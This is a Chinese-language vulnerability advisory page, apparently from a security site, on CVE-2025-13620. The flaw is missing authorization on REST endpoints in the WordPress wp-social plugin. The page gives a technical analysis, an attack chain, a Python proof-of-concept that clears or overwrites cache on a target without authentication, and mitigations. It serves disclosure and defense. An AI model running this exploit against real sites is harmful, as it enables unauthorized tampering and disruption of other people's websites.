IPBUF安全漏洞报告
English
CVE-2025-13620 CVSS 5.3 中危

CVE-2025-13620 WordPress wp-social插件缺失授权漏洞

披露日期: 2025-12-05

漏洞信息

漏洞编号
CVE-2025-13620
漏洞类型
缺失授权
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Wp Social Login and Register Social Counter plugin for WordPress

相关标签

缺失授权WordPress插件漏洞REST API安全wp-socialCVE-2025-13620访问控制绕过缓存投毒无需认证

漏洞概述

CVE-2025-13620是WordPress插件Wp Social Login and Register Social Counter中的一个高危安全漏洞。该插件版本3.1.3及之前版本存在严重的访问控制缺陷,其REST API路由注册时将permission_callback设置为__return_true,导致所有REST端点无需任何权限验证即可被访问。攻击者可以利用这些开放的API端点(wslu/v1/check_cache/{type}、wslu/v1/save_cache/{type}、wslu/v1/settings/clear_counter_cache)执行未授权操作,包括清除或覆盖社交计数器缓存数据。由于该漏洞无需认证即可利用,且影响所有使用该插件的WordPress站点,因此存在被大规模扫描和利用的风险。攻击者可能通过反复清空缓存造成服务中断,或通过覆盖缓存数据影响网站正常功能展示。

技术细节

该漏洞的根本原因在于WordPress REST API的权限控制机制被错误配置。具体问题出现在插件的inc/admin-rest-api.php文件中,三个关键的REST路由被注册时使用了__return_true作为permission_callback,这意味着所有请求都会被判定为已授权。具体受影响的端点包括:1) wslu/v1/check_cache/{type} 用于检查缓存状态;2) wslu/v1/save_cache/{type} 用于保存缓存数据;3) wslu/v1/settings/clear_counter_cache 用于清除计数器缓存。这些端点的处理函数缺少两个关键的安全验证:(1) capability检查,未验证请求者是否具有管理插件的权限;(2) nonce验证,未检查请求是否来自合法的管理后台操作。攻击者只需构造带有正确路由路径的HTTP请求即可触发这些功能,无需任何身份认证或CSRF token。由于这些端点直接操作数据库中的缓存表,攻击者可以实现缓存数据的任意覆盖或清空。

攻击链分析

STEP 1
步骤1
侦察阶段:攻击者扫描互联网中使用wp-social插件版本<=3.1.3的WordPress站点
STEP 2
步骤2
验证漏洞:通过访问/wp-json/wslu/v1/check_cache/test端点确认REST API无需认证即可访问
STEP 3
步骤3
构造恶意请求:攻击者构造针对wslu/v1/settings/clear_counter_cache端点的POST请求
STEP 4
步骤4
执行攻击:发送无认证的HTTP请求触发缓存清除或覆盖操作
STEP 5
步骤5
影响评估:缓存被清空或篡改后,网站社交计数器显示异常,可能导致服务中断或用户误导

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-13620 PoC - Unauthenticated Cache Manipulation # Target: WordPress site with wp-social plugin <= 3.1.3 TARGET_URL = "https://target-site.com" # Endpoint 1: Clear counter cache (most critical) clear_cache_url = f"{TARGET_URL}/wp-json/wslu/v1/settings/clear_counter_cache" # Endpoint 2: Save arbitrary cache data save_cache_url = f"{TARGET_URL}/wp-json/wslu/v1/save_cache/test" # Endpoint 3: Check cache status check_cache_url = f"{TARGET_URL}/wp-json/wslu/v1/check_cache/test" def exploit_clear_cache(): """ Exploit to clear social counter cache without authentication. This can cause denial of service by removing cached social share counts. """ headers = { "Content-Type": "application/json", "X-HTTP-Method-Override": "DELETE" } response = requests.post(clear_cache_url, headers=headers, timeout=10) print(f"Clear cache response: {response.status_code}") return response def exploit_save_fake_cache(): """ Exploit to overwrite cache with attacker-controlled data. Could be used for cache poisoning attacks. """ payload = { "cache_data": "malicious_cache_content" } response = requests.post(save_cache_url, json=payload, timeout=10) print(f"Save cache response: {response.status_code}") return response def check_vulnerability(): """ Verify if the target is vulnerable by checking cache endpoint access. """ response = requests.get(check_cache_url, timeout=10) if response.status_code == 200: print(f"[+] Target is VULNERABLE - No auth required for REST endpoints") print(f"Response: {response.text}") return True else: print(f"[-] Target may not be vulnerable or plugin not installed") return False if __name__ == "__main__": print("CVE-2025-13620 Exploitation Script") print("=" * 50) check_vulnerability() # Uncomment to execute exploitation: # exploit_clear_cache() # exploit_save_fake_cache()

影响范围

Wp Social Login and Register Social Counter plugin <= 3.1.3

防御指南

临时缓解措施
在官方补丁发布前,可通过以下方式临时缓解:1) 禁用或删除wp-social插件;2) 使用.htaccess或nginx配置限制未授权用户访问/wp-json/wslu/路径;3) 部署WordPress REST API访问控制插件限制anonymous用户访问;4) 启用WordPress的REST API身份验证要求;5) 监控服务器日志关注异常的REST API请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表